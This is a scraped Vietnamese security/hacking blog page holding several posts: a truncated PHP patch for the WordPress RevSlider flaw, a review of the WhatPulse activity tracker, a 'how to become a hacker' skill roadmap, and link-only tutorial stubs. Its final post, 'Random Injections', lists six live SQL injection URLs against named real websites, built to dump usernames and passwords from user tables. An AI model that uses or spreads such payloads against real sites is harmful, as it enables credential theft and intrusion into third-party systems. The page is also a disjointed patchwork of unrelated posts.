style="box-sizing: border-box; color: #009900;">{</span>
                <span class="kw3" style="box-sizing: border-box; color: #990000;">die</span><span class="br0" style="box-sizing: border-box; color: #009900;">(</span><span class="st0" style="box-sizing: border-box; color: blue;">"Not found! "</span><span class="br0" style="box-sizing: border-box; color: #009900;">)</span><span class="sy0" style="box-sizing: border-box; color: #339933;">;</span>
        <span class="br0" style="box-sizing: border-box; color: #009900;">}</span>
}
add_action<span class="br0" style="box-sizing: border-box; color: #009900;">(</span><span class="st_h" style="box-sizing: border-box; color: blue;">'wp_ajax_revslider_show_image'</span><span class="sy0" style="box-sizing: border-box; color: #339933;">,</span> fixRevsliderExploit<span class="br0" style="box-sizing: border-box; color: #009900;">(</span><span class="br0" style="box-sizing: border-box; color: #009900;">)</span><span class="sy0" style="box-sizing: border-box; color: #339933;">,</span> <span class="sy0" style="box-sizing: border-box; color: #339933;">-</span><span class="nu0" style="box-sizing: border-box; color: #cc66cc;">1</span><span class="br0" style="box-sizing: border-box; color: #009900;">)</span><span class="sy0" style="box-sizing: border-box; color: #339933;">;
// Chi tiết: http://pastebin.com/k07msTHw</span></pre>
</blockquote>
<div style="text-align: right;">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><i><span style="font-weight: normal;">Nguồn: SecurityDaily.Net</span> </i></span></div>
</h3>
</div>

Lỗ hổng WordPress ảnh hưởng hơn 400.000 websites trên thế giới

Như SecurityDaily đã đưa tin ngày 03/09/2014, lỗ hổng nguy hiểm trong WordPress đang ảnh hưởng tới nhiều website của Việt Nam và rất nhiều...

Theo dõi hoạt động và sử dụng máy tính của bạn

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">(Thegioitinhoc.vn) - Có bao giờ bạn muốn biết bạn đã nhấp chuột và bấm trên bàn phím của bạn bao nhiêu lần trong một khoảng thời gian nào đó không? Tự đếm thì chắc là không thể dù bạn muốn, nhưng nếu muốn?! Hoàn toàn bạn sẽ làm được – nghĩa là bạn sẽ theo dõi hoạt động máy tính của mình, bao gồm các phím bấm, cú nhấp chuột, sử dụng băng thông và thời gian hoạt động của hệ thống với phần mềm WhatPulse.<br /><br /><br />WhatPulse là một chương trình miễn phí cho phép quan sát thời gian hoạt động máy tính của bạn, số lượng các tổ hợp phím, sử dụng băng thông và số lần nhấp chuột trong một khoảng thời gian nhất định.<br /><br /><br />WhatPulse đếm số lần bấm phím không giống như keylogger khác ghi lại thứ tự các phím được nhấn. Nó cũng lưu giữ lịch sử chi tiết của bao nhiêu công việc bạn đã thực hiện trên hệ thống máy tính của bạn trong một khoảng thời gian.<br /><br /><br />WhatPulse là một chương trình đơn giản, sau khi tải về, cài đặt trong hệ thống của bạn và sẽ hoạt động trong thời gian thực. Chỉ cần nhấp vào biểu tượng chương trình trên desktop và bạn sẽ có được số liệu chính xác bao nhiêu lần bạn nhấp chuột, bao nhiêu lần sử dụng các phím cùng với một số thông tin khác mà bạn muốn biết.<br /><br /><br />WhatPule cung cấp cho bạn bao gồm:<br /><br /><br />- Tracks your clicks - Theo dõi nhấp chuột của bạn và cung cấp bản đồ sử dụng chuột của bạn. Nó cũng cho phép bạn xuất khẩu hoặc chia sẻ “nóng” bản đồ sử dụng chuột của bạn. <br /><br /><br /><img border="0" height="548" src="http://i.imgur.com/zQTwHGP.jpg" width="640" /><br /><br /><br /><br />- Tracks Internet Usage - Theo dõi việc sử dụng Internet của bạn và cũng có thể phát hiện ra tất cả các ứng dụng đang làm cho internet của bạn chậm do ăn lên băng thông của bạn.<br /><br /><br /><img border="0" height="560" src="http://i.imgur.com/9LZ6XrZ.jpg" width="640" /><br />   <br />- Tracks your keyboard usage – Cung cấp bản đồ sử dụng bàn phím của bạn và theo dõi các phím bạn đã gõ. Bạn cũng có thể chia sẻ “nóng” bản đồ sử dụng phím với người thân đang sử dụng WhatPulse.<br /><br /><br /> <img border="0" height="561" src="http://i.imgur.com/lHmnqbw.jpg" width="640" /><br /><br /><br /> - Monitors your network – Kiểm tra cường độ ứng dụng và cũng theo dõi đầu vào và ra băng thông của bạn.<br /><br /><br />- Application Usage - WhatPulse cũng giữ sự theo dõi các ứng dụng được sử dụng nhiều nhất của bạn.<br /><br /><br />WhatPulse sẽ gửi toàn bộ số liệu thống kê ghi nhận trên trang web mà bạn để giúp bạn “tự nhìn lại và phân tích cuộc sống trên máy tính” của bạn bất cứ lúc nào. Ngoài ra bạn cũng có thể chia sẻ những thống kê này với người khác.<br /><br /><br />Các tùy chọn 'Settings' cho phép bạn thiết đặt chương trình chạy lúc Windows khởi động, kiểm tra phiên bản mới tự động, kích hoạt chế độ portable, ẩn cửa sổ pop-up và nhiều hơn nữa.<br /><br /><br />Trong thử nghiệm, chương trình làm việc tốt trên Windows 8.1, nó hoạt động trong thời gian thực và không ảnh hưởng đến hiệu suất hệ thống.<br /><br /><br />WhatPulse là một chương trình tốt đẹp và đáng tin cậy theo dõi và ghi lại các chi tiết về thói quen máy tính của bạn cùng với các số liệu thống kê như địa chỉ IP, tốc độ tải xuống/tải lên, giao diện mạng, tổng số lượng các lần khởi động lại, sử dụng băng thông và sử dụng ứng dụng. Một chương trình khá thú vị cho bất kỳ ai khi sử dụng máy tính!<br /><br /><br />Bạn xem thêm và tải chương trình về tại: <a href="http://whatpulse.org/">http://whatpulse.org/</a></span></div>

Theo dõi hoạt động và sử dụng máy tính của bạn

(Thegioitinhoc.vn) - Có bao giờ bạn muốn biết bạn đã nhấp chuột và bấm trên bàn phím của bạn bao nhiêu lần trong một khoảng thời gian nào đ...

Để trở thành Hacker

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><i>Bài viết này sẽ tách ra làm 4: Script Kiddy Level, Advanced Attacker Level, Developer Level, Researcher Level</i></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><i>Nội dung bài viết phản ánh quan điểm của tác giả, và hoàn toàn rộng mở cho mọi người comment góp ý chỉnh sửa, comment góp ý nào được nhiều người Like nhất sẽ được cân nhắc bổ sung, thay thế vào bài viết ( kèm credits ). Bài viết cũng cố gắng sử dụng các ngôn từ mà các bạn trẻ hay dùng trong giới Hắc-cờ VN nên có thể các từ này không chính xác về mặt kỹ thuật, vui lòng không bắt bẻ</i></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><b>Về bài viết này:</b></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><b>Mức độ:</b> cực kỳ căn bản<b><br /> Đối tượng:</b> biết xài máy tính thông thạo</span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><b>Yêu cầu cần có sẵn:</b></span><br />
<blockquote class="tr_bq">
<span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;">Biết bật máy tính<br />Biết lướt web<br />Biết search bằng Google<br />Biết cài & gỡ chương trình. Hay tóm gọn lại là biết cài Win =))<br />Biết tiếng Anh mức độ Đọc rất tốt, viết người ta hiểu được, nghe nói thì tạm tạm nếu có thêm chân tay chỉ trỏ ( ếu biết đi chỗ khác chơi ) </span></blockquote>
<br />
<span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><b>Yêu cầu về tố chất:</b></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /></span><br />
<blockquote class="tr_bq">
<span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;">Đang có hy vọng trở thành hacker<br />Chịu khó nghịch<br />Chịu khó tìm hiểu<br />Không lười<br />Không hy vọng một đêm thành hacker :v ( các cháu hy vọng điều này thì các cháu đi coi phim đi cho thoả mãn ) —————————————————</span></blockquote>
<span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><i><b>Script Kiddy là gì ?</b></i></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /> Là mức độ căn bản nhất của một người đang có hy vọng thành hacker. Những người này thường sử dụng máy tính ở mức thông thạo, tức là khá hơn người dùng bình thường ( đến dùng còn ếu thạo thì đừng mong hắc hiếc gì ), thường hay đi hỗ trợ các chị em sửa máy khi được nhờ giúp giải quyết một cái máy có vấn đề.<br /> Ngoài các lúc đi hỗ trợ gái ( hoặc trai :v ) sửa máy thì thời gian còn lại là lên mạng đọc Tut, và làm theo với hy vọng sớm thành hacker, làm theo các tut trong tình trạng là ếu hiểu mền đang làm gì và lý do tại sao phải làm bước A B C, và đa phần là cũng ếu tự thắc mắc luôn, các em mà không biết tự thắc mắc kiểu "tại sao phải làm bước A B C mà không phải làm các bước X Y Z”  thì coi như không có tố chất lên các level tiếp theo, mãi mãi chỉ có đi sửa máy cho gái ( hoặc trai :v ) và làm theo Tut để loè gái. Còn các em tự biết hỏi “tại sao…” , “tại sao …” và biết lên mạng search và tìm hiểu thì có cơ hội lên các level tiếp theo mà gần nhất là Attacker :)</span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><i><b>Script Kiddy cần có kiến thức gì?</b></i></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /> Dưới đây là một danh sách các kiến thức mà Script Kiddy cần có để được coi là đạt mức độ này và có tiềm năng lên các level cao hơn</span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><b>Script Kiddy Level Basic:</b><br /> - Biết xài Windows<br /> - Biết cài/gỡ chương trình trên Windows<br /> - Biết dùng các công cụ quản lý HDH Windows<br /> - Biết cài HDH Windows<br /> - Biết xử lý các sự cố trong quá trình sử dụng HDH Windows<br /> - Biết xài bộ Office ở mức độ thông thạo, tức là làm được cái văn bản đẹp, slide powerpoint ngon, thuộc làu và dùng tốt hầu hết các công thức Excel. Bèo bèo thì cũng phải có được cái bằng A & B Tin học của VN cấp :v ( ý là kiến thức phải đạt cỡ đó )<br /> - Biết hầu hết các trò chỉnh sửa, tối ưu windows như chỉnh msconfig, chỉnh registry, chỉnh startup, chỉnh boot option…<br /> - Biết xài Windows Command Line ( cmd.exe )<br /> - Biết xài file Batch ( .Bat )<br /> - Biết máy hư phần cứng thì phải thay cái gì. Nói chung máy hư thì ít khi phải mang ra tiệm nhờ sửa máy :v<br /> - Biết mấy trò nghịch phá trên máy Windows như lock registry, lock task manager, lock desktop wallpaper</span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><b>Script Kiddy Level Medium:</b><br /> - Biết cấu hình modem ADSL để vô mạng<br /> - Biết setup cho một máy đơn có thể vô mạng internet<br /> - Biết lập mạng Lan, mạng Wifi<br /> - Biết lắp ráp nguyên một cái máy tính để bàn từ các thành phần rời ( hề hề vụ này giờ chắc ít người biết :v ). Hoặc là biết cách tháo cái Laptop ra và gắn lại mà vẫn chạy ngon :v<br /> - Biết quản lý share windows share file<br /> - Biết quản trị mạng căn bản & nâng cao ( đi học mấy khoá Quản trị mạng của mấy trung tâm tin học cũng được )</span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><b>Script Kiddy Level Advanced:</b><br /> - Biết lập trình căn bản bằng một ( hoặc nhiều ) ngôn ngữ trong nhóm sau: Java, C/C++, Visual Basic, C#. Căn bản tức là viết được một chương trình cho Desktop PC làm công việc như là quản lý một kho sách, quản lý một quán cafe. Cao hơn làm một chương trình Chat giữa 2 máy tính thông qua mạng LAN. Kiểu kiểu như vậy. Thường Script Kiddy nào lập trình được mấy món kể trên thì bắt đầu thấy sáng mắt ra và tự nhìn thấy tương lai rõ ràng hơn :)</span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /> - Biết lập trình Web căn bản bằng các ngôn ngữ sau: PHP, Javascript, HTML, CSS, SQL. Căn bản là tự lập trình được một trang web bán hàng đơn giản ( tự lập trình chớ không phải là tải mấy cái source có sẵn rồi về cài lên, việc cài thì đám Script Kiddy Level Medium dư sức làm ). Nâng cao thì có thể biết thêm các thứ như Bootstrap, HTML5, jQuery, biết một Web Framework như Zend, Symphony… . Cao hơn nữa thì biết chỉnh sửa các web mã nguồn mở như Joomla, Wordpress</span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /> - Biết xài một số ngôn ngữ lập trình tiện ích như: Autoit, Python, Perl, Unix Bash Shell<br /> - Biết xài Linux. Biết xài ở đây nghĩa là “xài linux dễ dàng và tự nhiên như xài windows”, có thể coi lại phần Script Kiddy Level Basic chỗ nói về Windows</span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /> - Biết đọc & hiểu các Tut hướng dẫn Hack bằng tiếng Việt lẫn tiếng Anh, và hầu hết là làm theo thành công ( đôi lúc không thành công thì cũng không sao :v ). Còn nếu hầu hết mà làm theo không thành công, thì rất tiếc, tới level này mà làm theo Tut có sẵn mà đa phần không thành công thì chứng tỏ không có tố chất để thành Hắc-cờ, một số điều cần phải có tố chất bẩm sinh, nên đừng buồn, tới level này thì cũng có thể thấy tương tai kiếm ăn với ngành CNTT được rồi </span><br />
<span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /> - Hiểu các Tut nói gì, khi làm theo mà gặp khó khăn, biết phải search cái gì để giải quyết khó khăn đó, và làm theo Tut thành công</span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /> - Tự mày mò thử nghiệm hack cái gì đó thành công, và tự viết Tut hướng dẫn lại cho người khác cách hack</span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /> - Có một lượng fan nho nhỏ :v và giúp định hướng được cho một số người đạt được các thành công nho nhỏ như mình và đạt được Script Kiddy Level Advanced như mình.</span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /></span> <span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><br /> Những nguời tới được mức này thì coi như đã đủ tố chất và tiềm năng để lên Advanced Attacker Level. Những người này cũng thường nhìn thấy được con đường có thể kiếm ăn bằng nghề làm việc với công nghệ ( đa phần là cũng kiếm ăn được chút chút rồi ).</span><br />
<br />
<div style="text-align: right;">
<span style="font-family: "Helvetica Neue",Arial,Helvetica,sans-serif;"><i>Theo xnohat - HVA </i></span></div>
</div>

Để trở thành Hacker

Bài viết này sẽ tách ra làm 4: Script Kiddy Level, Advanced Attacker Level, Developer Level, Researcher Level Nội dung bài viết phản ánh ...

[TUT] SQL dạng HTML

Link Download http://www.mediafire.com/?6hh2ykae8xpuq2q Hoặc https://www.box.com/s/3m0xluf10xdhcdw95qzu

Bug LFI + FCKeditor

Random Injections

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">1<br />Mã:<br /></span><blockquote class="tr_bq">
<span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">http://www.elansystems.co.za/product-item.php?product_items_id=-11 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,group_concat(username, 0x3b,password),5,6,7,8,9,10 from users_tbl--</span></blockquote>
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />2/<br /><br /><br />Mã:<br /></span><blockquote class="tr_bq">
<span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">http://www.nbjm-sprayer.com/products.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(username,0x3b,password),18,1 9,20,21,22,23 from user_table--</span></blockquote>
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />3/<br /><br /><br />Mã:<br /></span><blockquote class="tr_bq">
<span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">http://www.mcdonaldlawoffice.net/story.php?articleid=-8 UNION SELECT 1,2,group_concat(name,0x3b,password),4,5,6,7,8,9,10,11,12,13,14,15,16 from users--</span></blockquote>
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />4/<br /><br /><br />Mã:<br /></span><blockquote class="tr_bq">
<span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">http://localtime.biz/product.php?cat_id=-1 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(email,0x3b, pwd,0x3c,0x62,0x72,0x3e),4 from users--</span></blockquote>
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />5/<br /><br /><br />Mã:<br /></span><blockquote class="tr_bq">
<span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">http://www.eltee.de/kolumnen_id.php?id=-30175 UNION SELECT 1,2,3,4,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),6,7,8--</span></blockquote>
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />6/<br /><br /><br />Mã:<br /></span><blockquote class="tr_bq">
<span style="color: red; font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">http://www.media4world.de/mini_d/list_art.php?shop=-5 UNION SELECT group_concat(username,0x3b,kwort,0x3b,admin,0x3c,0x62,0x72,0x3e) from user--</span></blockquote>
</div>

Random Injections

1 Mã: http://www.elansystems.co.za/product-item.php?product_items_id=-11 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version...